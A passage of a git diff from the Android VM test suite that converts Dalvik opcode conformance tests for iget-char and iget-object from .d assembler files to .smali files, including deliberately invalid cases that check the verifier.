--- a/tools/vm-tests-tf/src/dot/junit/opcodes/iget_char/d/T_iget_char_8.d
+++ /dev/null
@@ -1,33 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_iget_char_8.java
-.class public dot.junit.opcodes.iget_char.d.T_iget_char_8
-.super java/lang/Object
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run()C
-.limit regs 3
-
-       iget-char v1, v2, dot.junit.opcodes.iget_char.d.T_iget_char_8.i1N C
-       return v1
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/iget_char/d/T_iget_char_8.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/iget_char/d/T_iget_char_8.smali
new file mode 100644
index 0000000..1f49589
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/iget_char/d/T_iget_char_8.smali
@@ -0,0 +1,33 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_iget_char_8.java"
+.class  public Ldot/junit/opcodes/iget_char/d/T_iget_char_8;
+.super  Ljava/lang/Object;
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run()C
+.registers 3
+
+       iget-char v1, v2, Ldot/junit/opcodes/iget_char/d/T_iget_char_8;->i1N:C
+       return v1
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/iget_char/d/T_iget_char_9.d b/tools/vm-tests-tf/src/dot/junit/opcodes/iget_char/d/T_iget_char_9.d
deleted file mode 100644
index 70eca20..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/iget_char/d/T_iget_char_9.d
+++ /dev/null
@@ -1,36 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_iget_char_9.java
-.class public dot.junit.opcodes.iget_char.d.T_iget_char_9
-.super java/lang/Object
-
-.field public  i1 C
-
-.method public <init>()V
-.limit regs 2
-
-       invoke-direct {v1}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run()C
-.limit regs 3
-
-       const v0, 0    
-       iget-char v1, v0, dot.junit.opcodes.iget_char.d.T_iget_char_9.i1 C
-       return v1
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/iget_char/d/T_iget_char_9.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/iget_char/d/T_iget_char_9.smali
new file mode 100644
index 0000000..f940970
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/iget_char/d/T_iget_char_9.smali
@@ -0,0 +1,36 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_iget_char_9.java"
+.class  public Ldot/junit/opcodes/iget_char/d/T_iget_char_9;
+.super  Ljava/lang/Object;
+
+.field public  i1:C
+
+.method public constructor <init>()V
+.registers 2
+
+       invoke-direct {v1}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run()C
+.registers 3
+
+       const v0, 0    
+       iget-char v1, v0, Ldot/junit/opcodes/iget_char/d/T_iget_char_9;->i1:C
+       return v1
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/iget_object/d/T_iget_object_1.d b/tools/vm-tests-tf/src/dot/junit/opcodes/iget_object/d/T_iget_object_1.d.done
similarity index 100%
rename from tools/vm-tests-tf/src/dot/junit/opcodes/iget_object/d/T_iget_object_1.d
rename to tools/vm-tests-tf/src/dot/junit/opcodes/iget_object/d/T_iget_object_1.d.done
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/iget_object/d/T_iget_object_1.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/iget_object/d/T_iget_object_1.smali
new file mode 100644
index 0000000..ffa8cbd
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/iget_object/d/T_iget_object_1.smali
@@ -0,0 +1,57 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.class public Ldot/junit/opcodes/iget_object/d/T_iget_object_1;
+.super Ljava/lang/Object;
+.source "T_iget_object_1.java"
+
+
+# instance fields
+.field public i1:Ljava/lang/Object;
+
+.field protected p1:Ljava/lang/Object;
+
+.field private pvt1:Ljava/lang/Object;
+
+
+# direct methods
+.method public constructor <init>()V
+    .registers 2
+
+    invoke-direct {p0}, Ljava/lang/Object;-><init>()V
+
+    const v0, 0x0
+
+    iput-object v0, p0, Ldot/junit/opcodes/iget_object/d/T_iget_object_1;->i1:Ljava/lang/Object;
+
+    const v0, 0x0
+
+    iput-object v0, p0, Ldot/junit/opcodes/iget_object/d/T_iget_object_1;->p1:Ljava/lang/Object;
+
+    const v0, 0x0
+
+    iput-object v0, p0, Ldot/junit/opcodes/iget_object/d/T_iget_object_1;->pvt1:Ljava/lang/Object;
+
+    return-void
+.end method
+
+
+# virtual methods
+.method public run()Ljava/lang/Object;
+    .registers 3
+
+    iget-object v1, p0, Ldot/junit/opcodes/iget_object/d/T_iget_object_1;->i1:Ljava/lang/Object;
+
+    return-object v1
+.end method
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/iget_object/d/T_iget_object_11.d b/tools/vm-tests-tf/src/dot/junit/opcodes/iget_object/d/T_iget_object_11.d
deleted file mode 100644
index 35a2de0..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/iget_object/d/T_iget_object_11.d
+++ /dev/null
@@ -1,34 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_iget_object_11.java
-.class public dot.junit.opcodes.iget_object.d.T_iget_object_11
-.super dot/junit/opcodes/iget_object/d/T_iget_object_1
-
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, dot/junit/opcodes/iget_object/d/T_iget_object_1/<init>()V
-       return-void
-.end method
-
-.method public run()Ljava/lang/Object;
-.limit regs 3
-
-       iget-object v1, v2, dot.junit.opcodes.iget_object.d.T_iget_object_1.p1 Ljava/lang/Object;
-       return-object v1
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/iget_object/d/T_iget_object_11.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/iget_object/d/T_iget_object_11.smali
new file mode 100644
index 0000000..abcb9bc
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/iget_object/d/T_iget_object_11.smali
@@ -0,0 +1,34 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_iget_object_11.java"
+.class  public Ldot/junit/opcodes/iget_object/d/T_iget_object_11;
+.super  Ldot/junit/opcodes/iget_object/d/T_iget_object_1;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ldot/junit/opcodes/iget_object/d/T_iget_object_1;-><init>()V
+       return-void
+.end method
+
+.method public run()Ljava/lang/Object;
+.registers 3
+
+       iget-object v1, v2, Ldot/junit/opcodes/iget_object/d/T_iget_object_1;->p1:Ljava/lang/Object;
+       return-object v1
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/iget_object/d/T_iget_object_12.d b/tools/vm-tests-tf/src/dot/junit/opcodes/iget_object/d/T_iget_object_12.d
deleted file mode 100644
index b2d7400..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/iget_object/d/T_iget_object_12.d
+++ /dev/null
@@ -1,34 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_iget_object_12.java
-.class public dot.junit.opcodes.iget_object.d.T_iget_object_12
-.super dot/junit/opcodes/iget_object/d/T_iget_object_1
-
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, dot/junit/opcodes/iget_object/d/T_iget_object_1/<init>()V
-       return-void
-.end method
-
-.method public run()Ljava/lang/Object;
-.limit regs 3
-
-       iget-object v1, v2, dot.junit.opcodes.iget_object.d.T_iget_object_1.pvt1 Ljava/lang/Object;
-       return-object v1
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/iget_object/d/T_iget_object_12.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/iget_object/d/T_iget_object_12.smali
new file mode 100644
index 0000000..2a9c908
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/iget_object/d/T_iget_object_12.smali
@@ -0,0 +1,34 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_iget_object_12.java"
+.class  public Ldot/junit/opcodes/iget_object/d/T_iget_object_12;
+.super  Ldot/junit/opcodes/iget_object/d/T_iget_object_1;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ldot/junit/opcodes/iget_object/d/T_iget_object_1;-><init>()V
+       return-void
+.end method
+
+.method public run()Ljava/lang/Object;
+.registers 3
+
+       iget-object v1, v2, Ldot/junit/opcodes/iget_object/d/T_iget_object_1;->pvt1:Ljava/lang/Object;
+       return-object v1
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/iget_object/d/T_iget_object_13.d b/tools/vm-tests-tf/src/dot/junit/opcodes/iget_object/d/T_iget_object_13.d
deleted file mode 100644
index 21414cc..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/iget_object/d/T_iget_object_13.d
+++ /dev/null
@@ -1,35 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_iget_object_13.java
-.class public dot.junit.opcodes.iget_object.d.T_iget_object_13
-.super java/lang/Object
-
-.field public  i1 J
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run()V
-.limit regs 3
-
-       iget-object v0, v2, dot.junit.opcodes.iget_object.d.T_iget_object_13.i1 Ljava/lang/Object;
-       return-void
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/iget_object/d/T_iget_object_13.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/iget_object/d/T_iget_object_13.smali
new file mode 100644
index 0000000..107927f
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/iget_object/d/T_iget_object_13.smali
@@ -0,0 +1,35 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_iget_object_13.java"
+.class  public Ldot/junit/opcodes/iget_object/d/T_iget_object_13;
+.super  Ljava/lang/Object;
+
+.field public  i1:J
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run()V
+.registers 3
+
+       iget-object v0, v2, Ldot/junit/opcodes/iget_object/d/T_iget_object_13;->i1:Ljava/lang/Object;
+       return-void
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/iget_object/d/T_iget_object_14.d b/tools/vm-tests-tf/src/dot/junit/opcodes/iget_object/d/T_iget_object_14.d
deleted file mode 100644
index df2581c..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/iget_object/d/T_iget_object_14.d
+++ /dev/null
@@ -1,35 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_iget_object_14.java
-.class public dot.junit.opcodes.iget_object.d.T_iget_object_14
-.super java/lang/Object
-
-.field public  i1 S
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run()V
-.limit regs 3
-
-       iget-object v0, v2, dot.junit.opcodes.iget_object.d.T_iget_object_14.i1 S
-       return-void
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/iget_object/d/T_iget_object_14.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/iget_object/d/T_iget_object_14.smali
new file mode 100644
index 0000000..9d66de3
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/iget_object/d/T_iget_object_14.smali
@@ -0,0 +1,35 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_iget_object_14.java"
+.class  public Ldot/junit/opcodes/iget_object/d/T_iget_object_14;
+.super  Ljava/lang/Object;
+
+.field public  i1:S
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run()V
+.registers 3
+
+       iget-object v0, v2, Ldot/junit/opcodes/iget_object/d/T_iget_object_14;->i1:S
+       return-void
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/iget_object/d/T_iget_object_15.d b/tools/vm-tests-tf/src/dot/junit/opcodes/iget_object/d/T_iget_object_15.d
deleted file mode 100644
index 313ec7c..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/iget_object/d/T_iget_object_15.d
+++ /dev/null
@@ -1,35 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_iget_object_15.java
-.class public dot.junit.opcodes.iget_object.d.T_iget_object_15
-.super java/lang/Object
-
-.field public  i1 C
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run()V
-.limit regs 3
-
-       iget-object v0, v2, dot.junit.opcodes.iget_object.d.T_iget_object_15.i1 C
-       return-void
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/iget_object/d/T_iget_object_15.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/iget_object/d/T_iget_object_15.smali
new file mode 100644
index 0000000..4a1e1d5
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/iget_object/d/T_iget_object_15.smali
@@ -0,0 +1,35 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_iget_object_15.java"
+.class  public Ldot/junit/opcodes/iget_object/d/T_iget_object_15;
+.super  Ljava/lang/Object;
+
+.field public  i1:C
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run()V
+.registers 3
+
+       iget-object v0, v2, Ldot/junit/opcodes/iget_object/d/T_iget_object_15;->i1:C
+       return-void
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/iget_object/d/T_iget_object_16.d b/tools/vm-tests-tf/src/dot/junit/opcodes/iget_object/d/T_iget_object_16.d
deleted file mode 100644
index d9df4aa..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/iget_object/d/T_iget_object_16.d
+++ /dev/null
@@ -1,35 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_iget_object_16.java
-.class public dot.junit.opcodes.iget_object.d.T_iget_object_16
-.super java/lang/Object
-
-.field public  i1 I
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run()V
-.limit regs 3
-
-       iget-object v0, v2, dot.junit.opcodes.iget_object.d.T_iget_object_16.i1 I
-       return-void
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/iget_object/d/T_iget_object_16.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/iget_object/d/T_iget_object_16.smali
new file mode 100644
index 0000000..b346f3f
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/iget_object/d/T_iget_object_16.smali
@@ -0,0 +1,35 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_iget_object_16.java"
+.class  public Ldot/junit/opcodes/iget_object/d/T_iget_object_16;
+.super  Ljava/lang/Object;
+
+.field public  i1:I
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run()V
+.registers 3
+
+       iget-object v0, v2, Ldot/junit/opcodes/iget_object/d/T_iget_object_16;->i1:I
+       return-void
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/iget_object/d/T_iget_object_17.d b/tools/vm-tests-tf/src/dot/junit/opcodes/iget_object/d/T_iget_object_17.d
deleted file mode 100644
index 82cb90e..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/iget_object/d/T_iget_object_17.d
+++ /dev/null
@@ -1,35 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_iget_object_17.java
-.class public dot.junit.opcodes.iget_object.d.T_iget_object_17
-.super java/lang/Object
-
-.field public  i1 B
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run()V
-.limit regs 3
-
-       iget-object v0, v2, dot.junit.opcodes.iget_object.d.T_iget_object_17.i1 B
-       return-void
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/iget_object/d/T_iget_object_17.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/iget_object/d/T_iget_object_17.smali
new file mode 100644
index 0000000..222b0b0
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/iget_object/d/T_iget_object_17.smali
@@ -0,0 +1,35 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_iget_object_17.java"
+.class  public Ldot/junit/opcodes/iget_object/d/T_iget_object_17;
+.super  Ljava/lang/Object;
+
+.field public  i1:B
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run()V
+.registers 3
+
+       iget-object v0, v2, Ldot/junit/opcodes/iget_object/d/T_iget_object_17;->i1:B
+       return-void
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/iget_object/d/T_iget_object_18.d b/tools/vm-tests-tf/src/dot/junit/opcodes/iget_object/d/T_iget_object_18.d
deleted file mode 100644
index 3dac91f..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/iget_object/d/T_iget_object_18.d
+++ /dev/null
@@ -1,35 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_iget_object_18.java
-.class public dot.junit.opcodes.iget_object.d.T_iget_object_18
-.super java/lang/Object
-
-.field public  i1 Z
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run()V
-.limit regs 3
-
-       iget-object v0, v2, dot.junit.opcodes.iget_object.d.T_iget_object_18.i1 Z
-       return-void
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/iget_object/d/T_iget_object_18.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/iget_object/d/T_iget_object_18.smali
new file mode 100644
index 0000000..f438245
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/iget_object/d/T_iget_object_18.smali
@@ -0,0 +1,35 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_iget_object_18.java"
+.class  public Ldot/junit/opcodes/iget_object/d/T_iget_object_18;
+.super  Ljava/lang/Object;
+
+.field public  i1:Z
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run()V
+.registers 3
+
+       iget-object v0, v2, Ldot/junit/opcodes/iget_object/d/T_iget_object_18;->i1:Z
+       return-void
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/iget_object/d/T_iget_object_19.d b/tools/vm-tests-tf/src/dot/junit/opcodes/iget_object/d/T_iget_object_19.d
deleted file mode 100644
index 19a9277..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/iget_object/d/T_iget_object_19.d
+++ /dev/null
@@ -1,35 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_iget_object_19.java
-.class public dot.junit.opcodes.iget_object.d.T_iget_object_19
-.super java/lang/Object
-
-.field public  i1 D
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run()V
-.limit regs 3
-
-       iget-object v0, v2, dot.junit.opcodes.iget_object.d.T_iget_object_19.i1 D
-       return-void
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/iget_object/d/T_iget_object_19.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/iget_object/d/T_iget_object_19.smali
new file mode 100644
index 0000000..d11e76e
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/iget_object/d/T_iget_object_19.smali
@@ -0,0 +1,35 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
